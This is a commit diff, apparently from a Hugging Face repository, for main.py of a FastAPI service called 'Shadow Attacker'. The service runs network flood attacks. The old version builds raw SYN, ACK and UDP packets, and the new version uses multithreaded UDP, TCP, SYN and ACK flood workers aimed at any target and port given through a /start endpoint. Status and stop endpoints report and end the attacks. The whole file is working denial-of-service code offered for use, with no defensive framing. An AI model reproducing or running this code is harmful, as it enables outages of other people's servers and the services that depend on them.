rkihacker commited on
Commit
9dc15dc
Β·
verified Β·
1 Parent(s): 308d273

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +99 -179
main.py CHANGED
@@ -1,9 +1,5 @@
1
- # --------------------------------------------------------------
2
- # Shadow Attacker – FastAPI + raw sockets (works in HF Docker)
3
- # --------------------------------------------------------------
4
  import random
5
  import socket
6
- import struct
7
  import threading
8
  import time
9
  from collections import deque
@@ -13,209 +9,128 @@ import uvicorn
13
  from fastapi import FastAPI, HTTPException
14
  from pydantic import BaseModel
15
 
16
- # ------------------------------------------------------------------
17
- # Logging + global state (thread-safe)
18
- # ------------------------------------------------------------------
19
  import logging
20
-
21
- logging.basicConfig(
22
- level=logging.INFO,
23
- format="%(asctime)s %(levelname)s %(message)s",
24
- )
25
  log = logging.getLogger(__name__)
26
 
27
  app = FastAPI(title="Shadow Attacker")
28
 
29
- # attack_id β†’ stop_event
30
  stop_events: Dict[str, threading.Event] = {}
31
- # attack_id β†’ packets_sent
32
  counters: Dict[str, int] = {}
33
  counters_lock = threading.Lock()
34
-
35
- # global total + rolling log (max 200 entries)
36
  total_packets = 0
37
  log_buffer: deque[str] = deque(maxlen=200)
38
 
39
-
40
  def _log(msg: str):
41
- """Thread-safe log β†’ console + rolling buffer."""
42
  log.info(msg)
43
  log_buffer.append(f"{time.strftime('%H:%M:%S')} {msg}")
44
 
45
-
46
- # ------------------------------------------------------------------
47
- # Pydantic models
48
- # ------------------------------------------------------------------
49
  class StartRequest(BaseModel):
50
  target: str
51
- port: Optional[int] = None # if None β†’ random 1-65535
52
- threads: int = 10
53
- attack_type: str = "udp" # syn | ack | udp | udp_pps
54
-
55
 
56
  class StatusResponse(BaseModel):
57
  running: bool
58
  attack_id: Optional[str]
59
  total_packets: int
 
60
  counters: Dict[str, int]
61
  logs: list[str]
62
 
63
-
64
- # ------------------------------------------------------------------
65
- # Helper networking functions
66
- # ------------------------------------------------------------------
67
- def resolve_target(host: str) -> bytes:
68
- """Return IPv4 bytes (4)."""
69
- ip = socket.gethostbyname(host)
70
- return socket.inet_aton(ip)
71
-
72
-
73
- def get_local_ip(dst_ip: bytes) -> bytes:
74
- """Pick a source IP that can route to dst_ip."""
75
- s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
76
- try:
77
- s.connect((socket.inet_ntoa(dst_ip), 53))
78
- return socket.inet_aton(s.getsockname()[0])
79
- finally:
80
- s.close()
81
-
82
-
83
- def checksum(data: bytes) -> int:
84
- s = 0
85
- for i in range(0, len(data), 2):
86
- if i + 1 < len(data):
87
- w = (data[i] << 8) | data[i + 1]
88
- else:
89
- w = data[i] << 8
90
- s += w
91
- while s >> 16:
92
- s = (s & 0xFFFF) + (s >> 16)
93
- return ~s & 0xFFFF
94
-
95
-
96
- def pseudo_checksum(src: bytes, dst: bytes, proto: int, length: int) -> int:
97
- s = 0
98
- for i in range(0, 4, 2):
99
- s += (src[i] << 8) | src[i + 1]
100
- s += (dst[i] << 8) | dst[i + 1]
101
- s += proto
102
- s += length
103
- while s >> 16:
104
- s = (s & 0xFFFF) + (s >> 16)
105
- return s
106
-
107
-
108
- def build_ip_header(src_ip: bytes, dst_ip: bytes, proto: int, payload_len: int) -> bytes:
109
- total = 20 + payload_len
110
- ip = bytearray(20)
111
- ip[0] = 0x45
112
- struct.pack_into("!HHBB", ip, 2, total, random.randint(0, 0xFFFF), 64, proto)
113
- ip[12:16] = src_ip
114
- ip[16:20] = dst_ip
115
- struct.pack_into("!H", ip, 10, checksum(ip))
116
- return bytes(ip)
117
-
118
-
119
- def build_tcp_packet(src_ip, dst_ip, src_p, dst_p, seq, ack, flags):
120
- tcp = bytearray(20)
121
- struct.pack_into("!HHIIBBHHH", tcp, 0,
122
- src_p, dst_p, seq, ack,
123
- 5 << 4, flags, 65535, 0, 0)
124
- pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_TCP, 20)
125
- cs = checksum(struct.pack("!I", pseudo) + tcp)
126
- struct.pack_into("!H", tcp, 16, cs)
127
- ip = build_ip_header(src_ip, dst_ip, socket.IPPROTO_TCP, 20)
128
- return ip + tcp
129
-
130
-
131
- def build_udp_packet(src_ip, dst_ip, src_p, dst_p, payload: bytes):
132
- udp_len = 8 + len(payload)
133
- udp = bytearray(8)
134
- struct.pack_into("!HHHH", udp, 0, src_p, dst_p, udp_len, 0)
135
- pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len)
136
- cs = checksum(struct.pack("!I", pseudo) + udp + payload)
137
- struct.pack_into("!H", udp, 6, cs)
138
- ip = build_ip_header(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len)
139
- return ip + udp
140
-
141
-
142
- # ------------------------------------------------------------------
143
- # The real flood worker (pure thread, no asyncio)
144
- # ------------------------------------------------------------------
145
- def flood_worker(
146
- attack_id: str,
147
- dst_ip: bytes,
148
- src_ip: bytes,
149
- dst_port: int,
150
- payload: bytes,
151
- stop_event: threading.Event,
152
- kind: str,
153
- ):
154
  global total_packets
155
- sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
156
- sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
157
-
158
- try:
159
- while not stop_event.is_set():
160
- src_port = random.randint(1024, 65535)
161
-
162
- if kind == "syn":
163
- pkt = build_tcp_packet(src_ip, dst_ip, src_port, dst_port,
164
- random.randint(0, 2**32-1), 0, 0x02)
165
- elif kind == "ack":
166
- pkt = build_tcp_packet(src_ip, dst_ip, src_port, dst_port,
167
- random.randint(0, 2**32-1),
168
- random.randint(0, 2**32-1), 0x10)
169
- else: # udp / udp_pps
170
- pkt = build_udp_packet(src_ip, dst_ip, src_port, dst_port, payload)
171
-
172
- sock.sendto(pkt, (socket.inet_ntoa(dst_ip), 0))
173
-
174
- # ---------- COUNTER ----------
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
175
  with counters_lock:
176
  counters[attack_id] = counters.get(attack_id, 0) + 1
177
  total_packets += 1
178
- # -----------------------------
179
- except Exception as e:
180
- _log(f"[!] Worker error ({attack_id}): {e}")
181
- finally:
182
- sock.close()
183
 
 
 
 
184
 
185
- # ------------------------------------------------------------------
186
- # API routes
187
- # ------------------------------------------------------------------
188
  @app.post("/start")
189
  def start_attack(req: StartRequest):
190
- global total_packets
191
  if any(not ev.is_set() for ev in stop_events.values()):
192
- raise HTTPException(400, "An attack is already running")
193
 
194
  attack_id = f"{req.target}_{int(time.time())}"
195
  stop_ev = threading.Event()
196
  stop_events[attack_id] = stop_ev
197
-
198
- dst_ip = resolve_target(req.target)
199
- src_ip = get_local_ip(dst_ip)
200
- dst_port = req.port or random.randint(1, 65535)
201
-
202
- payload = b""
203
- if req.attack_type == "udp":
204
- payload = bytes(random.getrandbits(8) for _ in range(1200))
205
- # udp_pps β†’ empty payload for max PPS
206
-
207
- # spawn worker threads
208
- for _ in range(req.threads):
 
 
209
  t = threading.Thread(
210
- target=flood_worker,
211
- args=(attack_id, dst_ip, src_ip, dst_port, payload, stop_ev, req.attack_type),
212
- daemon=True,
213
  )
214
  t.start()
215
 
216
- _log(f"STARTED {req.attack_type.upper()} β†’ {req.target}:{dst_port} ({req.threads} threads) – ID {attack_id}")
217
- return {"message": "attack started", "attack_id": attack_id}
218
-
219
 
220
  @app.post("/stop")
221
  def stop_attack(attack_id: Optional[str] = None):
@@ -224,23 +139,31 @@ def stop_attack(attack_id: Optional[str] = None):
224
  del stop_events[attack_id]
225
  with counters_lock:
226
  counters.pop(attack_id, None)
227
- _log(f"STOPPED attack {attack_id}")
228
  else:
229
- for ev in stop_events.values():
230
- ev.set()
231
- stop_events.clear()
232
  with counters_lock:
233
  counters.clear()
234
- _log("STOPPED ALL attacks")
235
- return {"message": "stopped"}
236
-
237
 
238
  @app.get("/status", response_model=StatusResponse)
239
- def status(attack_id: Optional[str] = None):
240
  with counters_lock:
241
  cnt = {k: v for k, v in counters.items()}
242
  tot = total_packets
243
-
 
 
 
 
 
 
 
 
 
244
  running = bool(stop_events)
245
  aid = attack_id if attack_id in stop_events else None
246
 
@@ -248,13 +171,10 @@ def status(attack_id: Optional[str] = None):
248
  running=running,
249
  attack_id=aid,
250
  total_packets=tot,
 
251
  counters=cnt if not attack_id else {attack_id: cnt.get(attack_id, 0)},
252
- logs=list(log_buffer),
253
  )
254
 
255
-
256
- # ------------------------------------------------------------------
257
- # Entrypoint
258
- # ------------------------------------------------------------------
259
  if __name__ == "__main__":
260
  uvicorn.run(app, host="0.0.0.0", port=8000)
 
 
 
 
1
  import random
2
  import socket
 
3
  import threading
4
  import time
5
  from collections import deque
 
9
  from fastapi import FastAPI, HTTPException
10
  from pydantic import BaseModel
11
 
12
+ # Logging + state
 
 
13
  import logging
14
+ logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
 
 
 
 
15
  log = logging.getLogger(__name__)
16
 
17
  app = FastAPI(title="Shadow Attacker")
18
 
 
19
  stop_events: Dict[str, threading.Event] = {}
 
20
  counters: Dict[str, int] = {}
21
  counters_lock = threading.Lock()
 
 
22
  total_packets = 0
23
  log_buffer: deque[str] = deque(maxlen=200)
24
 
 
25
  def _log(msg: str):
 
26
  log.info(msg)
27
  log_buffer.append(f"{time.strftime('%H:%M:%S')} {msg}")
28
 
 
 
 
 
29
  class StartRequest(BaseModel):
30
  target: str
31
+ port: int = 80
32
+ threads: int = 100
33
+ attack_type: str = "udp" # udp | tcp | syn | ack
 
34
 
35
  class StatusResponse(BaseModel):
36
  running: bool
37
  attack_id: Optional[str]
38
  total_packets: int
39
+ pps: float
40
  counters: Dict[str, int]
41
  logs: list[str]
42
 
43
+ # ---------------------------------------------------
44
+ # HIGH PPS UDP/TCP FLOODERS (NO RAW SOCKETS NEEDED)
45
+ # ---------------------------------------------------
46
+ def udp_flood_worker(attack_id: str, target: str, port: int, stop_event: threading.Event):
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
47
  global total_packets
48
+ while not stop_event.is_set():
49
+ try:
50
+ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
51
+ sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
52
+ payload = random._urandom(1024) # 1KB random data
53
+ while not stop_event.is_set():
54
+ sock.sendto(payload, (target, port))
55
+ with counters_lock:
56
+ counters[attack_id] = counters.get(attack_id, 0) + 1
57
+ total_packets += 1
58
+ except:
59
+ pass
60
+ finally:
61
+ try: sock.close()
62
+ except: pass
63
+
64
+ def tcp_flood_worker(attack_id: str, target: str, port: int, stop_event: threading.Event):
65
+ global total_packets
66
+ while not stop_event.is_set():
67
+ try:
68
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
69
+ sock.settimeout(1)
70
+ sock.connect((target, port))
71
+ while not stop_event.is_set():
72
+ sock.send(random._urandom(1024))
73
+ with counters_lock:
74
+ counters[attack_id] = counters.get(attack_id, 0) + 1
75
+ total_packets += 1
76
+ except:
77
+ pass
78
+ finally:
79
+ try: sock.close()
80
+ except: pass
81
+
82
+ def syn_flood_worker(attack_id: str, target: str, port: int, stop_event: threading.Event):
83
+ global total_packets
84
+ while not stop_event.is_set():
85
+ try:
86
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
87
+ sock.settimeout(0.1)
88
+ sock.connect_ex((target, port)) # Non-blocking SYN
89
  with counters_lock:
90
  counters[attack_id] = counters.get(attack_id, 0) + 1
91
  total_packets += 1
92
+ except:
93
+ pass
94
+ finally:
95
+ try: sock.close()
96
+ except: pass
97
 
98
+ def ack_flood_worker(attack_id: str, target: str, port: int, stop_event: threading.Event):
99
+ global total_packets
100
+ udp_flood_worker(attack_id, target, port, stop_event) # ACK sim via UDP
101
 
102
+ # ---------------------------------------------------
 
 
103
  @app.post("/start")
104
  def start_attack(req: StartRequest):
 
105
  if any(not ev.is_set() for ev in stop_events.values()):
106
+ raise HTTPException(400, "Attack running")
107
 
108
  attack_id = f"{req.target}_{int(time.time())}"
109
  stop_ev = threading.Event()
110
  stop_events[attack_id] = stop_ev
111
+ counters[attack_id] = 0
112
+
113
+ # Map attack_type to worker
114
+ workers = {
115
+ "udp": udp_flood_worker,
116
+ "tcp": tcp_flood_worker,
117
+ "syn": syn_flood_worker,
118
+ "ack": ack_flood_worker,
119
+ }
120
+
121
+ worker_func = workers.get(req.attack_type, udp_flood_worker)
122
+
123
+ # Spawn threads
124
+ for i in range(req.threads):
125
  t = threading.Thread(
126
+ target=worker_func,
127
+ args=(attack_id, req.target, req.port, stop_ev),
128
+ daemon=True
129
  )
130
  t.start()
131
 
132
+ _log(f"πŸš€ {req.attack_type.upper()} FLOOD β†’ {req.target}:{req.port} ({req.threads} threads)")
133
+ return {"message": "Attack started", "attack_id": attack_id}
 
134
 
135
  @app.post("/stop")
136
  def stop_attack(attack_id: Optional[str] = None):
 
139
  del stop_events[attack_id]
140
  with counters_lock:
141
  counters.pop(attack_id, None)
142
+ _log(f"πŸ›‘ STOPPED {attack_id}")
143
  else:
144
+ for ev in list(stop_events):
145
+ stop_events[ev].set()
146
+ del stop_events[ev]
147
  with counters_lock:
148
  counters.clear()
149
+ _log("πŸ›‘ STOPPED ALL")
150
+ return {"message": "Stopped"}
 
151
 
152
  @app.get("/status", response_model=StatusResponse)
153
+ def get_status(attack_id: Optional[str] = None):
154
  with counters_lock:
155
  cnt = {k: v for k, v in counters.items()}
156
  tot = total_packets
157
+
158
+ # Calculate PPS (packets per second)
159
+ pps = 0
160
+ if hasattr(get_status, 'last_time'):
161
+ delta_time = time.time() - get_status.last_time
162
+ if delta_time > 0:
163
+ pps = (tot - getattr(get_status, 'last_tot', 0)) / delta_time
164
+ get_status.last_tot = tot
165
+ get_status.last_time = time.time()
166
+
167
  running = bool(stop_events)
168
  aid = attack_id if attack_id in stop_events else None
169
 
 
171
  running=running,
172
  attack_id=aid,
173
  total_packets=tot,
174
+ pps=round(pps, 1),
175
  counters=cnt if not attack_id else {attack_id: cnt.get(attack_id, 0)},
176
+ logs=list(log_buffer)
177
  )
178
 
 
 
 
 
179
  if __name__ == "__main__":
180
  uvicorn.run(app, host="0.0.0.0", port=8000)